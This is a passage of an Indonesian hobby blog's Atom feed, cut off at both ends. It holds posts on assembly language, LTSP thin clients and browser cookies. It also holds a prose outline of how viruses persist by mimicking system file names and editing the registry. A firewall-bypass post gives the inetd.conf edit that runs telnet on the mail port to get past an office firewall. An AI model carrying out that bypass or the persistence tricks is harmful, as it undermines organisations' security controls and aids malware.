/&gt;&lt;br /&gt;- dw (define word) --&gt; Besarnya 2 byte (0h - FFFFh) &lt;br /&gt;&lt;br /&gt;- dd (define double word) --&gt; Besarnya 4 byte (0h - FFFFFFFFh) &lt;br /&gt;&lt;br /&gt;- df (define far word) --&gt; Besarnya 6 byte (0h - FFFFFFFFFFFFh) &lt;br /&gt;&lt;br /&gt;- dq (define quad word) --&gt; Besarnya 8 byte (0h - FFFFFFFFFFFFFFFFh) &lt;br /&gt;&lt;br /&gt;- dt (define temp word) --&gt; Besarnya 10 byte (0h - FFFFFFFFFFFFFFFFFFFFh) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. INT, MOV, JMP, dan LEA &lt;br /&gt;&lt;br /&gt;---------------------------- &lt;br /&gt;&lt;br /&gt;INT &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;INT adalah perintah untuk melaksanakan suatu interupsi. &lt;br /&gt;&lt;br /&gt;Syntaxnya adalah : INT no_interupsi &lt;br /&gt;&lt;br /&gt;Contoh : INT 20h ; untuk program terminate &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MOV &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;mOV adalah perintah untuk mengisi nilai ke register, variabel, atau alamat memory tertentu. &lt;br /&gt;&lt;br /&gt;Syntaxnya adalah :MOV destination,source &lt;br /&gt;&lt;br /&gt;Contoh : MOV AX,5 ; nilai AX akan berisi 5 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;JMP &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;JMP adalah perintah untuk melakukan lomptan ke label tertentu. &lt;br /&gt;&lt;br /&gt;Syntaxnya adalah : JMP nama_label &lt;br /&gt;&lt;br /&gt;Contoh : JMP label1 ; Program akan melompat ke label1 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LEA &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;LEA adalah perintah untuk mendapatkan alamat dari sebuah variabel. &lt;br /&gt;&lt;br /&gt;Syntaxnya adalah : LEA variabel &lt;br /&gt;&lt;br /&gt;Contoh : lea si,bil1 ; si akan berisi offset bil1 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;11. Tambahan &lt;br /&gt;&lt;br /&gt;-------------- &lt;br /&gt;&lt;br /&gt;Beberapa hal penting yang perlu diingat : &lt;br /&gt;&lt;br /&gt;. Bagian deklarasi variabel tidak boleh dijalankan, harus dilewati dengan melakukan lompatan ke label setelahnya. &lt;br /&gt;&lt;br /&gt;. Semua perintah assembly yang membutuhkan 2 operand seperti MOV memiliki syarat sebagai berikut : &lt;br /&gt;&lt;br /&gt;- Kedua operand besarnya harus sama. &lt;br /&gt;&lt;br /&gt;Contoh : MOV ax,bl ; ini salah karena AX 16 bit dan bl 8 bit &lt;br /&gt;&lt;br /&gt;MOV al,bl ; ini benar, AL dan BL besarnya 8 bit &lt;br /&gt;&lt;br /&gt;- Kedua operand tidak boleh keduanya variabel &lt;br /&gt;&lt;br /&gt;Contoh : &lt;br /&gt;&lt;br /&gt;MOV a,b ; ini salah, kedua operand a dan b adalah variabel &lt;br /&gt;&lt;br /&gt;MOV al,b ; kedua perintah ini untuk menggantikan perintah &lt;br /&gt;&lt;br /&gt;MOV a,al ; yang salah diatas &lt;br /&gt;&lt;br /&gt;- Register segment tidak boleh diisi langsung, harus menggunakan perantara &lt;br /&gt;&lt;br /&gt;Contoh : &lt;br /&gt;&lt;br /&gt;MOV es,0b800h : salah, es tidak boleh diisi langsung &lt;br /&gt;&lt;br /&gt;MOV ax,0b800h ; kedua perintah ini untuk menggantikan perintah &lt;br /&gt;&lt;br /&gt;MOV es,ax ; yang salah diatas &lt;br /&gt;&lt;br /&gt;. Untuk intterupt, ingatlah bahwa setiap interrupt memiliki syarat - syarat sebelum dipanggil. Penuhi syarat - syarat itu sebelum melakukan intterupt. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;12. Contoh Program Sederhana &lt;br /&gt;&lt;br /&gt;------------------------------ &lt;br /&gt;&lt;br /&gt;Program berikut ini akan membersihkan layar, kemudian akan muncul sebuah kalimat dan akan diminta untuk memasukkan sebuah karakter. Kemudian akan ditampilkan lagi sebuah kalimat diikuti dengan karakter yang tadi dimasukkan. code segment &lt;br /&gt;&lt;br /&gt;assume cs : code &lt;br /&gt;&lt;br /&gt;org 100h &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;begin : jmp start &lt;br /&gt;&lt;br /&gt;kal1 db 'Masukkan sebuah karakter : $' &lt;br /&gt;&lt;br /&gt;kal2 db 10,13,'Karakter yang anda masukkan adalah : $' &lt;br /&gt;&lt;br /&gt;kar db ? &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;start : mov ah,0 &lt;br /&gt;&lt;br /&gt;mov al,3h &lt;br /&gt;&lt;br /&gt;int 10h &lt;br /&gt;&lt;br /&gt;mov ah,9h &lt;br /&gt;&lt;br /&gt;lea dx,kal1 &lt;br /&gt;&lt;br /&gt;int 21h &lt;br /&gt;&lt;br /&gt;12mov ah,1h &lt;br /&gt;&lt;br /&gt;int 21h &lt;br /&gt;&lt;br /&gt;mov kar,al &lt;br /&gt;&lt;br /&gt;mov ah,9h &lt;br /&gt;&lt;br /&gt;lea dx,kal2 &lt;br /&gt;&lt;br /&gt;int 21h &lt;br /&gt;&lt;br /&gt;mov al,kar &lt;br /&gt;&lt;br /&gt;int 29h &lt;br /&gt;&lt;br /&gt;mov ah,4ch &lt;br /&gt;&lt;br /&gt;int 21h &lt;br /&gt;&lt;br /&gt;code ends &lt;br /&gt;&lt;br /&gt;end begin &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Simpanlah program diatas dengan ekstensi .asm (misal test.asm), kemudian compile program tersebut dengan perintah : &lt;br /&gt;&lt;br /&gt;tasm &lt;br /&gt;&lt;br /&gt;misal : tasm test.asm &lt;br /&gt;&lt;br /&gt;Maka akan dihasilkan sebuah object file berekstensi .obj, kemudian link file tersebut dengan perintah : &lt;br /&gt;&lt;br /&gt;tlink /t &lt;br /&gt;&lt;br /&gt;misal : tlink /t test.obj &lt;br /&gt;&lt;br /&gt;Maka akan dihasilkan sebuah file berekstensi .com, cobalah jalankan ! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Penjelasan : &lt;br /&gt;&lt;br /&gt;- Perhatikan baris begin : jmp start, karena baris berikutnya adalah deklarasi variabel, maka harus dilewati dengan perintah jmp start (melompat ke label start). &lt;br /&gt;&lt;br /&gt;- Pada baris kal1 db 'Mas..... $' disini kita mendeklarasikan sebuah variabel untuk pencetakan string, ingatlah selalu untuk menambahkan tanda '$' diakhir sebuah string. &lt;br /&gt;&lt;br /&gt;- Pada baris kal2 db 10,13,'... $' sama seperti baris sebelumnya, tetapi disini kita menambahkan 2 karakter, karakter 10 untuk turun baris, karakter 13 untuk memindahkan kursor ke awal baris. &lt;br /&gt;&lt;br /&gt;- Pada barus start : mov ah,0 sampai baris int 10h, disini kita melakukan interupsi 10h service 0h, yaitu untuk mengganti modus layar, al berisi 3 berarti modusnya adalah teks 80 x 25. Efek yang terjadi adalah layar akan bersih. &lt;br /&gt;&lt;br /&gt;- Pada baris mov ah,9 sampai baris int 21h (2 baris dibawahnya), kita melakukan int 21h service 9h, yaitu untuk mencetak sebuah string. Register dx harus berisi alamat dari string yang akan dicetak. &lt;br /&gt;&lt;br /&gt;- Pada baris mov ah,1h sampai baris mov kar,al, kita menggunakan int 21h service 01h, yaitu untuk meminta input 1 karakter dan ditampilkan ke layar. Karakter yang diinput akan berada pada register al setelah interupsi dilakukan, maka kita isikan ke variabel kar dengan perintah mov kar,al &lt;br /&gt;&lt;br /&gt;- Selanjutnya pada baris mov al,kar dan int 29h, kita menggunakan int 29h yang tidak memiliki service, fungsinya untuk mencetak 1 karakter yang ada pada register al. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;note : untuk melihat nomor-nomor service-service yang terdapat pada komputer gunakan program Helppc &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;semoga kita semua bisa belajar jadi pintar! dan pelajaran kecil ini..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-5233816164564312563?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/5233816164564312563/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/pengenalan-assembly.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/5233816164564312563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/5233816164564312563'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/pengenalan-assembly.html' title='Pengenalan Assembly'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-3421133555825076082</id><published>2009-04-29T03:31:00.000-07:00</published><updated>2009-04-29T03:34:55.290-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jaringan'/><title type='text'>SOLUSI JARINGAN MURAH</title><content type='html'>Krisis yang berkepanjangan telah menuntut kita untuk sangat berhemat, penulis disini ingin membagi ilmu tentang solusi jaringan murah berbasis linux. Dimana melalui solusi ini kita dapat menghemat beberapa ratus ribu bahkan juta di dalam membeli peripheral komputer. &lt;br /&gt;&lt;br /&gt;Yang ingin penulis tawarkan ialah jaringan LTSP (Linux Terminal Server Project), dimana dengan ini kita dapat membuat sebuah workstation yang terhubung dengan sebuah server LTSP tersebut. Workstation yang kita miliki cukup menggunakan 2 buah alat penting yakni LAN Card dan floppy disk (tidak perlu harddisk). Jadi keseluruhan dari workstation akan langsung mengakses ke server yakni LTSP server itu sendiri yang telah terinstall. &lt;br /&gt;&lt;br /&gt;File-file installasi yang diperlukan yang paling mendasar ialah : &lt;br /&gt;1. ltsp_core &lt;br /&gt;2. ltsp_kernel &lt;br /&gt;Keduanya dapat di download pada http://prdownloads.sourceforge.net/ltsp/. Ada beberapa format paket yang dapat kalian pilih, sesuaikan dengan kebutuhan. Setelah di download kalian dapat menginstallnya satu per satu pada komputer yang akan dijadikan server bagi LTSP. &lt;br /&gt;&lt;br /&gt;Kemudian setelah terinstall keduanya, kalian dapat mengkonfigurasi file-file yang ada pada /otp/ltsp/templates. Bagi yang tidak sabar dapat langsung mengeksekusi file berikut untuk mengkonfigurasi server LTSP yang telah terinstall, sebagai berikut : &lt;br /&gt;&lt;br /&gt;cd /opt/ltsp/templates &lt;br /&gt;./ltsp_initialize &lt;br /&gt;pilih Apply &lt;br /&gt;&lt;br /&gt;Bagi yang ingin mengetahui informasi file apa saja yang akan dikonfigurasi dapat memilih review setelah eksekusi ltsp_initialize. &lt;br /&gt;&lt;br /&gt;Setelah konfigurasi selesai kalian dapat menkonfigurasi workstation kalian melalui server LTSP pada file-file berikut : &lt;br /&gt;1. /etc/dhcpd.conf &lt;br /&gt;2. /etc/hosts &lt;br /&gt;3. /opt/ltsp/i386/etc/lts.conf &lt;br /&gt;&lt;br /&gt;Keterangan: &lt;br /&gt;&lt;br /&gt;1. /etc/dhcpd.conf &lt;br /&gt;&lt;br /&gt;Disini saya menganggap kalian telah mengerti apa itu DHCP (kalau belum silakan lihat http://www.cs.unm.edu/~vuksan/linux/DHCP.html). Setelah ltsp_core dan ltsp_kernel terinstall biasanya diikut sertakan file dhcpd.conf.example sebagai contoh. Silakan disesuaikan konfigurasinya dengan workstation kalian. &lt;br /&gt;&lt;br /&gt;2. /etc/hosts &lt;br /&gt;&lt;br /&gt;Berfungsi untuk mapping IP address kepada hostname komputer. Bisa juga disebut sebagai resolver. &lt;br /&gt;&lt;br /&gt;3. /opt/ltsp/i386/etc/lts.conf &lt;br /&gt;&lt;br /&gt;File ini berisi konfigurasi dari LTSP mulai dari no IP server dan, run level dan sebagainya. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ada dua cara dimana workstation tersebut dapat booting melalui jaringan. Yakni : &lt;br /&gt;1. Menggunakan BOOT ROM yang telah terdapat pada tiap-tiap network card sekarang, &lt;br /&gt;2. Menggunakan boot floopy (disinilah fungsi dari floopy drive). &lt;br /&gt;&lt;br /&gt;Disini penulis menggunakan boot floopy. Keduanya dapat di download pada http://www.rom-o-matic.net.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-3421133555825076082?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/3421133555825076082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/solusi-jaringan-murah.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/3421133555825076082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/3421133555825076082'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/solusi-jaringan-murah.html' title='SOLUSI JARINGAN MURAH'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-1660277678354555851</id><published>2009-04-27T03:54:00.000-07:00</published><updated>2009-04-27T03:59:21.353-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Panduan Membuat Virus : Infeksi System</title><content type='html'>Jika   kita   tanpa   sengaja   menjalankan/membangkitkan   suatu   virus   (Virus &lt;br /&gt;Komputer).   Maka   yang   pasti   dilakukan   virus   tersebut   setelah   bangkit   dari   tidurnya &lt;br /&gt;adalah menginfeksi system yang ada pada computer target agar virus tersebut melekat &lt;br /&gt;pada   computer   target.   Sehingga   meskipun   komputer   tersebut   telah   di-restart   virus &lt;br /&gt;tersebut akan tetap aktif dikomputer target tersebut.&lt;br /&gt;&lt;br /&gt;Cara kerja virus menginfeksi system:&lt;br /&gt;1. Melakukan penggandaan ke system.&lt;br /&gt;Langkah   pertama   sekali   yang   dilakukan   oleh   kebanyakan   virus   ketika   user &lt;br /&gt;menjalankan   virus   dikomputernya   adalah   melakukan   penggandaan   kesistem &lt;br /&gt;user tersebut. Proses penggandaan ke system tersebut berfungsi agar virus &lt;br /&gt;tetap   aktif   pada   saat   computer   direstart.   Biasanya   hasil   penggandaan   ke &lt;br /&gt;system mempunyai nama yang hampir dengan nama file system dan ada juga &lt;br /&gt;yang sama dengan nama file system hanya saja lokasi file tersebut berbeda &lt;br /&gt;dengan file aslinya. Contoh (winlogon.exe, lsass.exe, services.exe, csrss.exe, &lt;br /&gt;iexplorer.exe, shel .exe, dll).&lt;br /&gt;2. Menyeting registry.&lt;br /&gt;Setelah virus tersebut berhasil menggandakan dirinya kesistem barulah virus &lt;br /&gt;tersebut   menggunakan   registry   sebagai   benteng   pertahanan.   Kok &lt;br /&gt;menggunakan registry, seharusnya virus kan mampu melindungi dirinya sendiri &lt;br /&gt;tanpa   bantuan   registry?   Benar,   Tapi   meskipun   begitu   banyak   sekali &lt;br /&gt;kemungkinan virus tersebut dapat ditanggulangi oleh Antivirus atau software &lt;br /&gt;sejenisnya. Tapi dengan meminjam bantuan registry dari system operasi maka &lt;br /&gt;virus   tersebut   tersebut   dapat   melindungi   dirinya   dengan   sangat   baik. &lt;br /&gt;Dikarenakan kunci system operasi ada pada registry. Dengan bantuan registry &lt;br /&gt;ini   virus   mampu   menjalankan   dirinya   kedalam   mode   safe-mode   ataupun &lt;br /&gt;kedalam mode safe-mode dos sekalipun. Dan melalukan pengaturan agar virus &lt;br /&gt;tersebut tetap dalam keadaan tidak terlihat sehingga menyulitkan user untuk &lt;br /&gt;menghapus virus tersebut secara manual. &lt;br /&gt;3. Mengaktifkan virus yang telah berada disistem.&lt;br /&gt;Setelah virus telah melakukan penggandaan ke system dan menyeting registry &lt;br /&gt;maka   yang   dilakukan   virus   selanjutnya   adalah   menjalankan   virus   telah   ada &lt;br /&gt;disistem   sehingga   meskipun   flashdisk   atau   pun   disket   tersebut   dikeluarkan &lt;br /&gt;maka virus tersebut akan tetap aktif.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-1660277678354555851?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/1660277678354555851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/panduan-membuat-virus-infeksi-system.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/1660277678354555851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/1660277678354555851'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/panduan-membuat-virus-infeksi-system.html' title='Panduan Membuat Virus : Infeksi System'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-6051528431785130401</id><published>2009-04-27T00:36:00.000-07:00</published><updated>2009-04-27T00:37:52.479-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cookies'/><title type='text'>BELAJAR HACKING : Apakah cokie dan mengapa ada di hard disk anda</title><content type='html'>Cookie adalah sebaris informasi yang dipasang pada sebuah server web dalam sebuah file&lt;br /&gt;di hard disk anda. Server web melakukannya melalui browser web (itu sebabnya mengapa&lt;br /&gt;cookie sering kali disebut cookie  browser). Cookie biasanya terdiri dari satu baris&lt;br /&gt;informasi. Informasi informasi ini disimpan dalam sebuah file bernama cookies.txt,&lt;br /&gt;disalah satu  sub-folder browser anda.&lt;br /&gt;&lt;br /&gt;Cookie digunakan oleh server web (komputer yang menampung situs web) untuk meletakkan&lt;br /&gt;informasi di hard disk anda. Tipe informasi ini mencakup, namun tidak terbatas pada,&lt;br /&gt;user ID dan password, tanggal dan waktu anda mengunjungi situs web, halaman yang&lt;br /&gt;ditampilkan, dan banyak lagi.&lt;br /&gt;&lt;br /&gt;Sejumlah pengguna cookie menguntungkan pengunjung situs web. misalnya, sebuah user ID dan&lt;br /&gt;password yang disimpan pada file cookies.txt bisa membawa anda ke sebuah situs yang meminta&lt;br /&gt;informasi ini tanpa anda harus mengetikkannya setiap kali. Sebuah daftar preferences untuk&lt;br /&gt;sebuah situs web yang berisi cookie bisa mengkustomasi penampilan informasi. Cookie juga&lt;br /&gt;digunakan untuk menyimpan item pada kereta belanja virtual. (jika anda pernah mengunjungi&lt;br /&gt;sebuah situs belanja dan memesan sejumlah item, lalu meninggalkannya tanpa melengkapi pemesanan&lt;br /&gt;anda, lalu kembali dilain waktu dan mendapatkan daftar item yang sudah anda pilih sebelumnya,&lt;br /&gt;ini berkat informasi yang disimpan pada file cookies.txt untuk 'membuat kembali' daftar belanja&lt;br /&gt;anda).&lt;br /&gt;&lt;br /&gt;Demikian juga, file file ini mungkin menyimpan catatan halaman apa yang telah andakunjungi&lt;br /&gt;disebuah situs, lalu menggunakan informasi ini untuk mengingatkan server untuk memberikan anda&lt;br /&gt;acces ke halaman halaman baru dan melarang acces ke halaman halaman yang sebelumnya telah&lt;br /&gt;dikunjungi. Setup seperti ini mungkin  digunakan untuk mengumpulkan dan menyimpan data survei&lt;br /&gt;(poll), yang mencegah setiap orang mengikuti survei 2 kali.&lt;br /&gt;&lt;br /&gt;File cookies.txt ditampilkan pada setiap server yang memintanya. Namun, banyak informasi pada&lt;br /&gt;sebuah cookie hanya berguna bagi server yang menempatkan cookie tersebut, atau bagi server&lt;br /&gt;lain yang oleh pemilik/penulis cookie diberi ijin untuk menggunakan informasi tersebut.&lt;br /&gt;&lt;br /&gt;File cookies.txt adalah file text ASCII 7-bit. Anda bisa membuka file dengan program pengolah&lt;br /&gt;kata. bentuknya akan tampak seperti ini:&lt;br /&gt;&lt;br /&gt;      contoh:&lt;br /&gt;&lt;br /&gt;          #Netscape HTTP Cookie file&lt;br /&gt;          #http://www.netscape.com/newsref/std/cookie_spec.html&lt;br /&gt;          #This is generated file! Do not edit.&lt;br /&gt;&lt;br /&gt;             .amazon.com TRUE   /   FALSE 2082787568  x-main  nIDfTAYzJDky5V6rp9&lt;br /&gt;                 K6UZsS915ULEq4&lt;br /&gt;             .amazon.com TRUE   /   FALSE 2082787240  ubid-main&lt;br /&gt;                 077-2649831-7662731&lt;br /&gt;             ad1.impulsebuy.net   FALSE   /   FALSE  1072914778  IASIDX&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anda melihat kata, 'do not edit' di dekat akhir file. pengeditan file ini akan membuatnya tidak&lt;br /&gt;berguna. Jika anda menggunakan file cookie untuk menyimpan password dan informasi lain yang&lt;br /&gt;berhubungan dengan cara anda menggunakan sebuah situs web, anda tentu tidak boleh mengedit file &lt;br /&gt;ini. Jika anda melakukannya, server disitus web yang dimaksud tidak akan bisa membaca informasi&lt;br /&gt;yang disimpan pada file cookie, sehingga informasi tersebut tidak akan bisa diisikan secara&lt;br /&gt;otomatis untuk anda ketika anda mengunjungi situs tersebut. Namun, juka anda mengedit file &lt;br /&gt;tersebut, anda akan tetap bisa mengakses situs tersebut dengan memasukkan ID dan password anda&lt;br /&gt;secara manual. seperti mungkin anda sudah duga, cookies.txt berisi informasi tempat tempat yang&lt;br /&gt;sudah anda kunjungi. Sehingga, anda mungkin perlu untuk sepenuhnya menonaktifkan cookies, kalau &lt;br /&gt;kalau seorang 'pengintip' di PC anda memutuskan untuk melihat file cookies.txt&lt;br /&gt;&lt;br /&gt;Udah jelas khan? apa mungkin saya yang terlalu panjang lebar, (males banyak bacot!)&lt;br /&gt;&lt;br /&gt;Ada dua pendekatan untuk menghentikan/memblock cookie. yang pertama langsung, dan mencakup&lt;br /&gt;penghapusan file cookies.txt. lainnya menggunakan fasilitas yang disediakan netscape dan&lt;br /&gt;microsoft internet explorer/IE untuk menghentikan atau mengontrol cookie.&lt;br /&gt;&lt;br /&gt;Salah satu pendekatan untuk menangani cookie adalah dengan menghapus atau mengedit file bernama&lt;br /&gt;cookies.txt yang oleh browser anda diletakkan di hard disk anda. saya tidak merekomendasikan hal&lt;br /&gt;ini karena ini sangat membuang waktu, dan anda harus menghapusnya, atau mengubahnya setiap &lt;br /&gt;kali selesai mem-browse web.&lt;br /&gt;&lt;br /&gt;Namun, jika anda ingin mengontrol cookie dengan cara ini --atau hanya ingin melihat apa yang ada&lt;br /&gt;di file tersebut-- ini merupakan langkah sederhana. Bergantung pada setup PC anda, browser yang&lt;br /&gt;anda gunakan, dan versi browser, file ini bisa diletakkan pada salah satu dari beberapa &lt;br /&gt;direktori; jadi anda harus mencari terlebih dahulu.&lt;br /&gt;&lt;br /&gt;Untuk mencari cookies.txt, gunakan fasilitas pencarian computer anda. Klik find pada menu start,&lt;br /&gt;lalu klik Files atau Folders. Anda akan melihat kotak dialog find. lalu masukkan kata cookies.txt,&lt;br /&gt;dan klik find now atau tekan enter untuk mengetahui lokasi file cookies.txt anda bisa menghapus&lt;br /&gt;atau menampilkan file dari dialog ini menggunakan menu klik kanan.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-6051528431785130401?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/6051528431785130401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-apakah-cokie-dan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/6051528431785130401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/6051528431785130401'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-apakah-cokie-dan.html' title='BELAJAR HACKING : Apakah cokie dan mengapa ada di hard disk anda'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-558464619555566402</id><published>2009-04-27T00:30:00.000-07:00</published><updated>2009-04-27T00:35:02.507-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><title type='text'>BELAJAR HACKING : Bermain dengan Firewall Default</title><content type='html'>Selama ini mungkin anda beranggapan bahwa firewall adalah suatu dinding&lt;br /&gt;penjaga keamanan dari sebuah network yang tidak mungkin ditembus.&lt;br /&gt;Sayangnya (atau untungnya - tergantung persepsi anda), banyak&lt;br /&gt;administrator sistem yang malas dan mengandalkan instalasi 'default' yang&lt;br /&gt;diterima (out of box).&lt;br /&gt;&lt;br /&gt;Firewal-firewall seperti inilah yang mempunyai banyak kelemahan. Artikel&lt;br /&gt;ini ditujukan untuk mereka yang sudah punya akses di dalam firewall, dan&lt;br /&gt;membutuhkan jalan untuk mencapai akses tersebut melalui jaringan luar&lt;br /&gt;(internet, contohnya). Platform yang digunakan adalah Linux dan untuk&lt;br /&gt;UNIX-UNIX lainnya, cara kerja hampir sama.&lt;br /&gt;&lt;br /&gt;Misalkan workstation anda di kantor menyimpan segala pekerjaan anda. Namun&lt;br /&gt;sayangnya LAN di kantor dilindungi oleh sebuah Firewall. Anda ingin akses&lt;br /&gt;ke workstation di kantor supaya anda bisa menyelesaikan pekerjaan dari&lt;br /&gt;rumah atau tempat lain. Nah, disinilah bergunanya teknik 'firewall&lt;br /&gt;bypassing'.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;          # port&lt;br /&gt;/-------\        /-------\&lt;------------ telnet (23)&lt;br /&gt;|       |        |       |&lt;------------ ftp (21)        /--------\&lt;br /&gt;|kotak. |&lt;-------| fire  |&lt;------------ ssh (22)         INTERNET&lt;br /&gt;|linux. |  25    | wall  |&lt;------------ www (80)&lt;br /&gt;|anda   |&lt;-------|       |&lt;------------ mail (25)       \--------/&lt;br /&gt;|       | &lt;1024  \-------/ &lt;----------- imap (143)&lt;br /&gt;\-------/&lt;br /&gt;( ilustrasi lalu lintas data dari internet ke kotak linux anda dengan&lt;br /&gt;melewati firewall)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Instalasi firewall secara default biasanya mengizinkan koneksi ke port 25&lt;br /&gt;(SMTP - protokol transfer e-mail), dan sebagian besar koneksi ke port&lt;br /&gt;dengan nomor lebih besar daripada 1024. Memang banyak sysadmin yang&lt;br /&gt;mengabaikan hal ini, ataupun jika ada yang tahu, biasanya hanya dibiarkan&lt;br /&gt;saja, sebab koneksi keluar server biasa menggunakan lokasi-lokasi dengan&lt;br /&gt;nomor port &gt;1024. &lt;br /&gt;&lt;br /&gt;Cara yang paling cepat untuk mengakali sang firewall agar bisa menerima&lt;br /&gt;koneksi telnet dari luar adalah dengan mengubah setting skema portmapping&lt;br /&gt;Linux anda. Edit file /etc/inet.conf anda, dan cari entri yang berisi&lt;br /&gt;&lt;br /&gt;smtp stream tcp   nowait root &lt;dll dll dll&gt;&lt;br /&gt;&lt;br /&gt;dan ubah isinya menjadi&lt;br /&gt;&lt;br /&gt;smtp stream tcp   nowait root /usr/sbin/tcpd in.telnetd&lt;br /&gt;&lt;br /&gt;Aha. Tinggal anda reload file inetd.conf, dan kill sendmail. Sekarang port&lt;br /&gt;email anda sudah siap untuk menerima koneksi telnet (bisa langsung anda&lt;br /&gt;'telnet mesin.target.net 25').&lt;br /&gt;&lt;br /&gt;Cara yang lain untuk memperoleh hasil yang sama (tanpa mengorbankan&lt;br /&gt;sendmail), adalah dengan mengubah setting port penerima telnet (port 23),&lt;br /&gt;dan memberitahukan mesin anda agar menerima telnet lewat port diatas 1024.&lt;br /&gt;Buka file /etc/services dan cari entri yang berisi&lt;br /&gt;&lt;br /&gt;telnet 23/tcp&lt;br /&gt;&lt;br /&gt;dan ubah isinya menjadi&lt;br 